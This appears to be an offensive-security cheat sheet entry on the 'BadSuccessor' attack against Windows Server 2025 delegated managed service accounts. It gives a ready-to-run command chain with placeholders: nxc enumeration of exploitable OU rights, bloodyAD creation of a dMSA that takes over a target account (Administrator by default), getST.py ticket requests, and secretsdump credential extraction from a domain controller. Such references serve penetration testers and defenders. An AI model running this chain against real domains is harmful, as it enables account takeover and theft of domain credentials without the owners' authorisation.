BadSuccessor (Windows Server 2025)
Abuse delegated rights over an OU to create a dMSA account that takes over a target account.
Finding accounts with the required rights over an OU
This path depends on a susceptible Windows Server 2025 dMSA implementation and sufficient directory permissions. OU rights alone do not establish exploitability; check the DC build and patch state.
nxc ldap <dc_ip> -u <username> -p <password> -M badsuccessorCreating a dMSA account
Once the accounts and their associated OUs are known, the dMSA account can be created as follows:
bloodyAD --host <dc_ip> -d <domain> -u <username> -p <password> add badSuccessor <dMSA_account_name> -t <target_account> -ou <target_OU>The target account must be of the form
CN=<username>,CN=Users,DC=<domain>,DC=<local>;
the target OU must be of the form OU=<OU_name>,DC=<domain>,DC=local.
If these parameters are omitted, the Administrator account is targeted and the
dMSA account is created in the first OU where the account used holds the
Create child right.
A TGT associated with the dMSA account is then generated.
Obtaining a service ticket
Using the TGT obtained above, request a service ticket for a DC:
export KRB5CCNAME=<TGT_ccache_file>
getST.py -spn cifs/<dc_hostname> -dc-ip <dc_ip> <domain>/<dMSA_account_name> -k -no-passDomain compromise
The legacy sequence then attempts credential extraction. Success still depends on the resulting identity and its replication or administrative rights:
export KRB5CCNAME=<ST_ccache_file>
secretsdump -k -no-pass <dMSA_account_name>@<dc_hostname>Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 clarifies dMSA and patch prerequisites and distinguishes requested service tickets from forged silver tickets. No domain test.
Also searched as: badsuccessor, bad successor, dmsa, delegated managed service account, prise de contrôle de compte